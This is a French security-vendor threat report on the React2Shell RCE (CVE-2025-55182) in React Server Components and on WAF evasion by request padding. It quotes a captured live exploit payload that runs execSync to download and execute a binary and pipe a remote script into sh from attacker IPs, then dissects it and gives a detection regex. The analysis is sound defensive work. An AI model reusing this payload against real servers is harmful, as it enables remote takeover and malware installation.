Analyse de menace : CVE-2025-55182, « React2Shell » et la protection proactive HiveProtect.ai

Date du rapport : 6 décembre 2025
Sévérité de la menace : Critique (CVSS 10.0)
Vecteur : Remote Code Execution (RCE) via React Server Components
Statut HiveProtect.ai : BLOQUÉ
1. Synthèse exécutive
Au début du mois de décembre 2025, une vulnérabilité critique a été divulguée dans l’écosystème React, affectant spécifiquement les React Server Components (RSC) et les frameworks comme Next.js. Désignée sous le code CVE-2025-55182 (et souvent surnommée « React2Shell« ), cette faille permet à un attaquant non authentifié d’exécuter du code arbitraire sur le serveur en manipulant le flux de sérialisation du protocole Flight.
Parallèlement, une technique d’évasion connue sous le nom de Padding Attack a émergé pour contourner les Web Application Firewalls (WAF) traditionnels, y compris les configurations par défaut de Cloudflare. En surchargeant le corps de la requête (body) au-delà de la limite d’inspection standard (souvent 128 Ko), les attaquants tentent de masquer leur charge utile malveillante.
Ce rapport analyse une tentative d’attaque réelle interceptée par HiveProtect.ai le 5 décembre 2025. Bien que cette attaque visât spécifiquement des infrastructures Node.js/Next.js, elle a été détectée et neutralisée par les règles heuristiques de HiveProtect sur une infrastructure WordPress, prouvant l’efficacité d’une approche de sécurité agnostique et comportementale.
2. Le paysage de la menace : CVE-2025-55182
2.1 La mécanique de la faille
La vulnérabilité réside dans la manière dont React 19 et Next.js (App Router) gèrent la désérialisation des données envoyées par le client vers le serveur via le protocole interne « Flight ». Ce protocole permet au client d’envoyer des structures complexes, y compris des références à des composants serveur.
L’attaque exploite une validation insuffisante lors de cette désérialisation. Un attaquant peut forger une requête JSON contenant des directives spéciales (comme $1:__proto__:then) pour polluer le prototype des objets JavaScript ou forcer le serveur à importer des modules internes dangereux, tels que child_process de Node.js. Une fois le module importé, l’attaquant peut appeler des fonctions comme execSync pour lancer des commandes système directement sur le serveur hôte.
2.2 Le défi du « padding » (WAF evasion)
La dangerosité de cette campagne est amplifiée par la technique de contournement du WAF. La plupart des pare-feu applicatifs, pour des raisons de performance, n’analysent que le début d’une requête HTTP (les premiers 128 Ko chez Cloudflare Enterprise par défaut, parfois moins sur d’autres plans).
Les attaquants ont industrialisé une méthode où ils remplissent le début de la requête avec des données inoffensives (espaces, commentaires, champs vides) pour « pousser » la charge utile malveillante (le payload JSON RCE) au-delà de cette limite. Si le WAF ne bloque pas strictement les gros volumes de données, la charge utile passe inaperçue et atteint le serveur vulnérable qui, lui, lira l’intégralité de la requête.
3. Anatomie de l’attaque bloquée par HiveProtect.ai
Le 5 décembre 2025, les systèmes de HiveProtect.ai ont intercepté et bloqué une tentative d’exploitation complexe. Voici l’analyse forensique du log capturé.
3.1 Le log brut
05/12/2025 21:38 95.214.52.170
🔒 Bloquée Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide Critique 100 NoSQL Injection - Query (dans paramètres)
📍 URL: /
🔍 Pattern détecté: /\{.*?\$.*?:.*?\}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...
Paramètres POST:
["{\"then\": \"$1:__proto__:then\",\"status\": \"resolved_model\",\"reason\": -1,\"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\",\"_chunks\": \"$Q2\",\"_formData\": {\"get\": \"$1:constructor:constructor\"}}}","\"$@0\"","[]"]
3.2 Décodage de la charge utile (payload)
Ce bloc de code JSON n’est pas une simple injection de données ; c’est un script d’exécution complet conçu pour prendre le contrôle total du serveur. Analysons-le ligne par ligne :
A. La pollution de prototype (__proto__)
"then": "$1:__proto__:then"
L’attaquant commence par manipuler le prototype de l’objet en cours de traitement. C’est la clé de voûte de l’exploitation CVE-2025-55182. En injectant une propriété then via le prototype, l’attaquant force le framework React à traiter son payload comme une promesse asynchrone (« Thenable »), ce qui déclenche l’exécution du code injecté lors de la résolution de cette promesse.
B. L’invocation de Node.js (child_process)
process.mainModule.require('child_process').execSync(...)
C’est le cœur de l’attaque. L’attaquant contourne les protections habituelles en appelant directement le module principal de Node.js pour requérir child_process. La fonction execSync permet d’exécuter des commandes shell synchrones (bloquantes), garantissant que le serveur attendra la fin de l’exécution malveillante avant de répondre.
C. La chaîne de commande (« kill chain »)
La commande passée au système est particulièrement agressive :
- cd /dev : Déplacement vers un répertoire généralement inscriptible sur les systèmes Linux (mémoire partagée), souvent utilisé pour éviter de laisser des traces sur le disque dur.
- busybox wget http://31.56.27.76/n2/x86 : Téléchargement d’un binaire malveillant (nommé x86) depuis une IP distante (probablement un autre serveur compromis agissant comme serveur de commande et contrôle – C2). L’utilisation de busybox indique que l’attaque vise des environnements conteneurisés (Docker/Kubernetes) où les outils standards comme curl ou wget complets sont parfois absents.
- chmod 777 x86; ./x86 reactOnMynuts : Le fichier est rendu exécutable et lancé immédiatement. L’argument reactOnMynuts est probablement une clé ou un flag pour que le malware s’initialise. Ce binaire est souvent un « dropper« , un botnet (type Mirai ou variantes) ou un mineur de cryptomonnaie.
- busybox wget … -O-|sh : Une seconde phase de téléchargement exécute un script shell (bolts) directement dans la mémoire (pipé vers sh), assurant la persistance ou le téléchargement d’outils supplémentaires.
D. L’exfiltration via erreur (NEXT_REDIRECT)
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});
Pour voir le résultat de son attaque (la sortie de la commande), l’attaquant utilise une astuce ingénieuse spécifique à Next.js. Il génère une erreur de type NEXT_REDIRECT. Normalement utilisée par le framework pour gérer les redirections HTTP, cette erreur est ici détournée pour renvoyer le résultat de la commande (${res}) dans le champ digest de la réponse HTTP. Cela transforme une attaque « aveugle » (Blind RCE) en une attaque avec retour d’information immédiat.
3.3 Pourquoi HiveProtect.ai l’a bloqué (analyse de la règle)
Le log indique une détection par la règle : NoSQL Injection – Query (dans paramètres).
Il est crucial de noter ici une nuance technique importante. Bien que l’attaque soit une RCE React et non une injection NoSQL (MongoDB/CouchDB), le blocage est un exemple parfait de détection heuristique réussie.
- Le Pattern Détecté :
/\{.*?\$.*?:.*?\}/Ce motif regex cherche des structures JSON contenant des clés ou valeurs avec le symbole $. Dans le monde des bases de données NoSQL, le $ est utilisé pour des opérateurs (ex: $where, $ne). - La Correspondance React : Le protocole React Flight utilise aussi massivement le symbole $ pour référencer des objets et des promesses (ex: $1, $B1337, $@0).
- Le Résultat : La règle de sécurité de HiveProtect.ai, conçue pour intercepter des structures de données suspectes et non standard, a correctement identifié le payload comme une anomalie critique. Même si la signature spécifique « CVE-2025-55182 » n’était pas explicitement nommée, la nature anormale de la requête a déclenché la protection.
De plus, le score de menace a été maximisé (100/Critique) par un facteur contextuel : DNS: DNS reverse vide. L’adresse IP attaquante 95.214.52.170 n’avait pas de résolution DNS inverse valide, une caractéristique typique des bots automatisés et des machines zombies utilisées dans les botnets. HiveProtect.ai combine l’analyse comportementale (le payload) et la réputation (l’IP) pour une décision de blocage sans appel.
4. L’importance de la protection transversale
Une question légitime pourrait se poser : « Mon site tourne sous WordPress (PHP), pourquoi HiveProtect.ai bloque-t-il une attaque visant Node.js ? »
C’est ici que réside la force de la solution.
- Protection contre le « Spray and Pray » : Les botnets modernes ne ciblent pas chirurgicalement. Ils scannent l’ensemble de l’Internet IPv4. Ils envoient des exploits React sur des serveurs PHP, des exploits Java sur des serveurs Python, etc.
- Économie de Ressources : Même si ce payload RCE n’aurait pas pu s’exécuter sur un moteur PHP, le traitement d’une telle requête consomme de la bande passante, des cycles CPU (pour parser le JSON ou les logs) et pollue vos données analytiques. En bloquant la requête à la périphérie (Edge), HiveProtect.ai protège la performance de votre infrastructure.
- Défense en Profondeur : Les infrastructures modernes sont souvent hybrides. Un site WordPress peut coexister sur le même serveur qu’une API Node.js, ou utiliser un proxy inverse mal configuré. Bloquer les menaces toutes technologies confondues est la seule approche sécuritaire viable.
5. Recommandations stratégiques
Suite à cette vague d’attaques et à l’analyse de cet incident, nous recommandons les actions suivantes pour tous les administrateurs sous protection HiveProtect.ai :
5.1 Pour les environnements WordPress (standard)
- Maintenez la Règle « Large Body » active : Comme vu dans les tentatives de padding, bloquer les corps de requête inutilement volumineux (>128 Ko) sur les endpoints standards (/, /wp-json/, formulaires) est une défense extrêmement efficace contre les tentatives de contournement de WAF.
- Surveillez les Logs Bloqués : L’activité de blocage sur des règles « NoSQL » ou « Code Injection » sur votre site WordPress est un bon indicateur que votre IP est dans une liste de cibles actives de botnets.
5.2 Pour les environnements hybrides (WordPress + Next.js/Node)
- Mise à jour Critique Immédiate : Si vous hébergez du Next.js, mettez à jour vers la version 14.2.20+, 15.0.4+ ou 15.1.0+ impérativement. Pour React, visez la 19.0.1+. C’est la seule correction définitive à la racine.
- Durcissement WAF : Assurez-vous que vos règles WAF ne s’arrêtent pas à l’inspection des en-têtes. La combinaison des règles heuristiques de HiveProtect et des règles gérées Cloudflare (notamment sur la désérialisation) est indispensable.
Conclusion
L’attaque interceptée le 5 décembre depuis la Pologne illustre la rapidité avec laquelle les acteurs malveillants militarisent les nouvelles vulnérabilités (CVE-2025-55182). Le payload complexe, combinant pollution de prototype, contournement de WAF potentiel et exécution de commande système, représente le haut du spectre des menaces web actuelles.
HiveProtect.ai a démontré sa résilience en bloquant cette attaque « Zero-Day » (ou « N-Day » très récente) grâce à une détection comportementale robuste, protégeant l’infrastructure cliente indépendamment de la technologie sous-jacente.